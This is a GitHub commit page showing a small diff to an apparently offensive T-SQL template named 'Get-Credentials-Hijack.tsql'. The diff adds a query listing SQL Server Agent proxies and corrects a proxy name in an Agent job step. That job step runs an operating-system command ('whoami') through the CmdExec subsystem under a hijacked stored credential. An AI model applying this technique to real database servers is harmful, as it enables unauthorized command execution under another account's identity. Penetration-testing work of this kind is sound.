Skip to content

Commit

Permalink
Update Get-Credentials-Hijack.tsql
Browse files Browse the repository at this point in the history
  • Loading branch information
nullbind authored Aug 20, 2024
1 parent df25b1d commit a995179
Showing 1 changed file with 17 additions and 1 deletion.
18 changes: 17 additions & 1 deletion templates/tsql/Get-Credentials-Hijack.tsql
Original file line number Diff line number Diff line change
Expand Up @@ -44,6 +44,22 @@ EXEC sp_grant_proxy_to_subsystem
@proxy_name = N'MyCredentialProxy',
@subsystem_id = 3; -- 3 represents the Operating System (CmdExec) subsystem

--------------------------
-- List Proxies
--------------------------

USE msdb;
GO

SELECT
proxy_id,
name AS proxy_name,
credential_id,
enabled
FROM
dbo.sysproxies;
GO

--------------------------
-- Create the SQL Server Agent Job Configured to use the Proxy Account
--------------------------
Expand All @@ -63,7 +79,7 @@ EXEC sp_add_jobstep
@command = N'whoami', -- The OS command to execute
@on_success_action = 1, -- 1 = Quit with success
@on_fail_action = 2, -- 2 = Quit with failure
@proxy_name = N'OSCommandProxy'; -- The proxy created earlier
@proxy_name = N'MyCredentialProxy'; -- The proxy created earlier

-- Add a schedule to the job (optional, can be manual or scheduled)
EXEC sp_add_jobschedule
Expand Down

0 comments on commit a995179

Please sign in to comment.